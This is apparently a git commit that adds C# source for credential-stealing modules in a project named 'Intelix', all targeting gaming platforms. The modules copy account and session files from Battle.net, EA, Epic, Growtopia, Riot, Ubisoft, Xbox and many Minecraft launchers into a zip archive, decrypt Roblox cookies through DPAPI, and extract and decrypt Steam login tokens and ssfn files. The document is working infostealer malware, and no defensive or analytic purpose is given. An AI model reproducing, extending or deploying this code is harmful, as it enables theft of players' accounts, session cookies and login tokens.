initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+45
View File
@@ -0,0 +1,45 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class BattleNet : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Battle.net");
if (!Directory.Exists(path))
{
return;
}
string[] obj = new string[2] { "*.db", "*.config" };
Counter.CounterApplications counterApplications = new Counter.CounterApplications
{
Name = "BattleNet"
};
string[] array = obj;
foreach (string searchPattern in array)
{
string[] files = Directory.GetFiles(path, searchPattern, SearchOption.AllDirectories);
foreach (string fileName in files)
{
try
{
FileInfo fileInfo = new FileInfo(fileName);
string text = Path.Combine(Path.Combine("BattleNet", (fileInfo.Directory?.Name == "Battle.net") ? "" : fileInfo.Directory?.Name), fileInfo.Name);
zip.AddFile(text, File.ReadAllBytes(fileInfo.FullName));
counterApplications.Files.Add(fileInfo.FullName + " => " + text);
}
catch
{
}
}
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("BattleNet\\");
counter.Games.Add(counterApplications);
}
}
}
+60
View File
@@ -0,0 +1,60 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class ElectronicArts : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF");
if (!Directory.Exists(text))
{
return;
}
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Electronic Arts";
int num = 0;
string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb");
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path);
foreach (string text2 in files)
{
try
{
if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase))
{
string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2);
zip.AddFile(text3, File.ReadAllBytes(text2));
counterApplications.Files.Add(text2 + " => " + text3);
num++;
}
}
catch
{
}
}
}
string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log");
if (File.Exists(text4))
{
try
{
string text5 = "Electronic Arts\\Session Storage\\000003.log";
zip.AddFile(text5, File.ReadAllBytes(text4));
counterApplications.Files.Add(text4 + " => " + text5);
num++;
}
catch
{
}
}
if (num != 0)
{
counterApplications.Files.Add("Electronic Arts\\");
counter.Games.Add(counterApplications);
}
}
}
+27
View File
@@ -0,0 +1,27 @@
using System;
using System.IO;
using System.Text;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class Epic : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini");
if (File.Exists(text))
{
string text2 = File.ReadAllText(text);
if (text2.Contains("[RememberMe]") || text2.Contains("[Offline]"))
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Epic Games";
string text3 = "Epic\\GameUserSettings.ini";
zip.AddFile(text3, Encoding.UTF8.GetBytes(text2));
counterApplications.Files.Add(text + " => " + text3);
counter.Games.Add(counterApplications);
}
}
}
}
+22
View File
@@ -0,0 +1,22 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class Growtopia : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Growtopia", "save.dat");
if (File.Exists(text))
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Growtopia";
string text2 = "Growtopia\\save.dat";
zip.AddFile(text2, File.ReadAllBytes(text));
counterApplications.Files.Add(text + " => " + text2);
counter.Games.Add(counterApplications);
}
}
}
+56
View File
@@ -0,0 +1,56 @@
using System;
using System.Collections.Generic;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class Minecraft : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string environmentVariable = Environment.GetEnvironmentVariable("USERPROFILE");
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
dictionary.Add("Intent", Path.Combine(environmentVariable, "intentlauncher", "launcherconfig"));
dictionary.Add("Lunar", Path.Combine(environmentVariable, ".lunarclient", "settings", "game", "accounts.json"));
dictionary.Add("TLauncher", Path.Combine(folderPath, ".minecraft", "TlauncherProfiles.json"));
dictionary.Add("Feather", Path.Combine(folderPath, ".feather", "accounts.json"));
dictionary.Add("Meteor", Path.Combine(folderPath, ".minecraft", "meteor-client", "accounts.nbt"));
dictionary.Add("Impact", Path.Combine(folderPath, ".minecraft", "Impact", "alts.json"));
dictionary.Add("Novoline", Path.Combine(folderPath, ".minecraft", "Novoline", "alts.novo"));
dictionary.Add("CheatBreakers", Path.Combine(folderPath, ".minecraft", "cheatbreaker_accounts.json"));
dictionary.Add("Microsoft Store", Path.Combine(folderPath, ".minecraft", "launcher_accounts_microsoft_store.json"));
dictionary.Add("Rise", Path.Combine(folderPath, ".minecraft", "Rise", "alts.txt"));
dictionary.Add("Rise (Intent)", Path.Combine(environmentVariable, "intentlauncher", "Rise", "alts.txt"));
dictionary.Add("Paladium", Path.Combine(folderPath, "paladium-group", "accounts.json"));
dictionary.Add("PolyMC", Path.Combine(folderPath, "PolyMC", "accounts.json"));
dictionary.Add("Badlion", Path.Combine(folderPath, "Badlion Client", "accounts.json"));
Counter.CounterApplications counterApplications = new Counter.CounterApplications
{
Name = "Minecraft"
};
foreach (KeyValuePair<string, string> item in dictionary)
{
if (File.Exists(item.Value))
{
try
{
string path = Path.Combine("Minecraft", item.Key);
string fileName = Path.GetFileName(item.Value);
string text = Path.Combine(path, fileName);
zip.AddFile(text, File.ReadAllBytes(item.Value));
counterApplications.Files.Add(item.Value + " => " + text);
}
catch
{
}
}
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Minecraft\\");
counter.Games.Add(counterApplications);
}
}
}
+22
View File
@@ -0,0 +1,22 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class Riot : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Riot Games", "Riot Client", "Data", "RiotGamesPrivateSettings.yaml");
if (File.Exists(text))
{
string text2 = Path.Combine("Riot", "RiotGamesPrivateSettings.yaml");
zip.AddFile(text2, File.ReadAllBytes(text));
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Riot";
counterApplications.Files.Add(text + " => " + text2);
counter.Games.Add(counterApplications);
}
}
}
+71
View File
@@ -0,0 +1,71 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using Intelix.Helper.Data;
using Intelix.Helper.Encrypted;
namespace Intelix.Targets.Games;
public class Roblox : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "RobloxCookies.dat");
if (!File.Exists(text))
{
return;
}
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Roblox";
Match match = Regex.Match(File.ReadAllText(text), "\"CookiesData\"\\s*:\\s*\"(.*?)\"", RegexOptions.Singleline);
if (!match.Success)
{
return;
}
byte[] array = DpApi.Decrypt(Convert.FromBase64String(match.Groups[1].Value));
if (array == null)
{
return;
}
string text2 = "Roblox\\cookies.txt";
zip.AddTextFile(text2, Encoding.UTF8.GetString(array).Replace("; ", "\n").Replace("#HttpOnly_.roblox.com", ".roblox.com"));
counterApplications.Files.Add(text + " => " + text2);
string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Roblox", "LocalStorage", "appStorage.json");
if (!File.Exists(text3))
{
return;
}
List<string> list = new List<string>();
string input = File.ReadAllText(text3);
string pattern = "\"(PlayerExeLaunchTime|BrowserTrackerId|UserId|Username|DisplayName|CountryCode)\"\\s*:\\s*\"([^\"]*)\"";
foreach (Match item in Regex.Matches(input, pattern))
{
string value = item.Groups[1].Value;
string value2 = item.Groups[2].Value;
if (!string.IsNullOrEmpty(value2))
{
list.Add(value + ": " + value2 + "\n");
}
}
Match match2 = Regex.Match(input, "\"WebViewUserAgent\"\\s*:\\s*\"([^\"]*)\"");
if (match2.Success)
{
string text4 = "Roblox\\useragent.txt";
zip.AddTextFile(text4, match2.Groups[1].Value);
counterApplications.Files.Add(text3 + " => " + text4);
}
if (list.Count > 0)
{
string text5 = "Roblox\\information.txt";
zip.AddTextFile(text5, string.Concat(list));
counterApplications.Files.Add(text3 + " => " + text5);
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Roblox\\");
counter.Games.Add(counterApplications);
}
}
}
+169
View File
@@ -0,0 +1,169 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using Intelix.Helper.Data;
using Microsoft.Win32;
namespace Intelix.Targets.Games;
public class Steam : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam");
if (registryKey == null || registryKey.GetValue("SteamPath") == null)
{
return;
}
string text = registryKey.GetValue("SteamPath").ToString();
if (!Directory.Exists(text))
{
return;
}
string path = "Steam";
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Steam";
try
{
RegistryKey registryKey2 = registryKey.OpenSubKey("Apps");
if (registryKey2 != null)
{
List<string> list = new List<string>();
string[] subKeyNames = registryKey2.GetSubKeyNames();
foreach (string text2 in subKeyNames)
{
using RegistryKey registryKey3 = registryKey.OpenSubKey("Apps\\" + text2);
if (registryKey3 != null)
{
string text3 = (registryKey3.GetValue("Name") as string) ?? "Unknown";
string text4 = (((int?)registryKey3.GetValue("Installed") == 1) ? "Yes" : "No");
string text5 = (((int?)registryKey3.GetValue("Running") == 1) ? "Yes" : "No");
string text6 = (((int?)registryKey3.GetValue("Updating") == 1) ? "Yes" : "No");
list.Add("Application: " + text3 + "\n\tGameID: " + text2 + "\n\tInstalled: " + text4 + "\n\tRunning: " + text5 + "\n\tUpdating: " + text6);
}
}
if (list.Count > 0)
{
string text7 = Path.Combine(path, "Apps.txt");
zip.AddTextFile(text7, string.Join("\n\n", list));
counterApplications.Files.Add("Software\\Valve\\Steam\\Apps => " + text7);
}
}
}
catch
{
}
try
{
string[] subKeyNames = Directory.GetFiles(text);
foreach (string text8 in subKeyNames)
{
if (text8.Contains("ssfn"))
{
byte[] content = File.ReadAllBytes(text8);
string text9 = Path.Combine(path, "ssfn", Path.GetFileName(text8));
zip.AddFile(text9, content);
counterApplications.Files.Add(text8 + " => " + text9);
}
}
}
catch
{
}
try
{
string path2 = Path.Combine(text, "config");
if (Directory.Exists(path2))
{
string[] subKeyNames = Directory.GetFiles(path2, "*.vdf");
foreach (string text10 in subKeyNames)
{
string text11 = Path.Combine(path, "configs", Path.GetFileName(text10));
zip.AddFile(text11, File.ReadAllBytes(text10));
counterApplications.Files.Add(text10 + " => " + text11);
}
}
}
catch
{
}
try
{
string text12 = registryKey.GetValue("AutoLoginUser")?.ToString() ?? "Unknown";
string text13 = (((int?)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No");
string text14 = "Autologin User: " + text12 + "\nRemember password: " + text13;
string text15 = Path.Combine(path, "SteamInfo.txt");
zip.AddTextFile(text15, text14);
counterApplications.Files.Add("Software\\Valve\\Steam => " + text15);
}
catch
{
}
try
{
string[] source = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Steam", "local.vdf")
};
string[] source2 = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Steam", "config", "loginusers.vdf"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "config", "loginusers.vdf")
};
string text16 = source.FirstOrDefault(File.Exists);
string text17 = source2.FirstOrDefault(File.Exists);
if (text16 == null || text17 == null)
{
return;
}
string pattern = "\"AccountName\"\\s*\"([^\"]+)\"";
string pattern2 = "([a-fA-F0-9]{500,2000})";
MatchCollection matchCollection = Regex.Matches(File.ReadAllText(text17), pattern);
MatchCollection matchCollection2 = Regex.Matches(File.ReadAllText(text16), pattern2);
if (matchCollection.Count == 0 || matchCollection2.Count == 0)
{
return;
}
List<string> list2 = new List<string>();
foreach (Match item in matchCollection)
{
byte[] bytes = Encoding.UTF8.GetBytes(item.Groups[1].Value);
foreach (Match tokenMatch in matchCollection2)
{
byte[] encryptedData = (from x in Enumerable.Range(0, tokenMatch.Value.Length / 2)
select Convert.ToByte(tokenMatch.Value.Substring(x * 2, 2), 16)).ToArray();
try
{
byte[] bytes2 = ProtectedData.Unprotect(encryptedData, bytes, DataProtectionScope.LocalMachine);
list2.Add(Encoding.UTF8.GetString(bytes2));
}
catch
{
continue;
}
break;
}
}
if (list2.Count > 0)
{
string text18 = Path.Combine(path, "Token.txt");
zip.AddTextFile(text18, string.Join("\n", list2));
counterApplications.Files.Add(text16 + " => " + text18);
counterApplications.Files.Add(text17 + " => " + text18);
}
}
catch
{
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Steam\\");
counter.Games.Add(counterApplications);
}
}
}
+22
View File
@@ -0,0 +1,22 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class Uplay : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Ubisoft Game Launcher");
if (Directory.Exists(text))
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Uplay";
zip.AddDirectoryFiles(text, "Uplay");
counterApplications.Files.Add(text + " => \\Uplay");
counterApplications.Files.Add("Uplay\\");
counter.Games.Add(counterApplications);
}
}
}
+53
View File
@@ -0,0 +1,53 @@
using System;
using System.IO;
using System.Linq;
using Intelix.Helper.Data;
namespace Intelix.Targets.Games;
public class XBox : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Packages");
if (!Directory.Exists(path))
{
return;
}
string[] directories = Directory.GetDirectories(path, "Microsoft.Xbox*", SearchOption.TopDirectoryOnly);
if (directories == null || directories.Length == 0)
{
return;
}
string[] source = new string[9] { ".ini", ".cfg", ".json", ".xml", ".log", ".dat", ".db", ".yaml", ".txt" };
string[] array = directories;
foreach (string text in array)
{
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Xbox";
string[] files = Directory.GetFiles(text, "*.*", SearchOption.AllDirectories);
foreach (string text2 in files)
{
try
{
FileInfo fileInfo = new FileInfo(text2);
if (fileInfo.Length < 10000000 && source.Contains(fileInfo.Extension.ToLower()))
{
string path2 = text2.Substring(text.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string text3 = Path.Combine("Xbox", Path.GetFileName(text), path2).Replace('\\', '/');
zip.AddFile(text3, File.ReadAllBytes(fileInfo.FullName));
counterApplications.Files.Add(fileInfo.FullName + " => " + text3);
}
}
catch
{
}
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Xbox\\");
counter.Games.Add(counterApplications);
}
}
}
}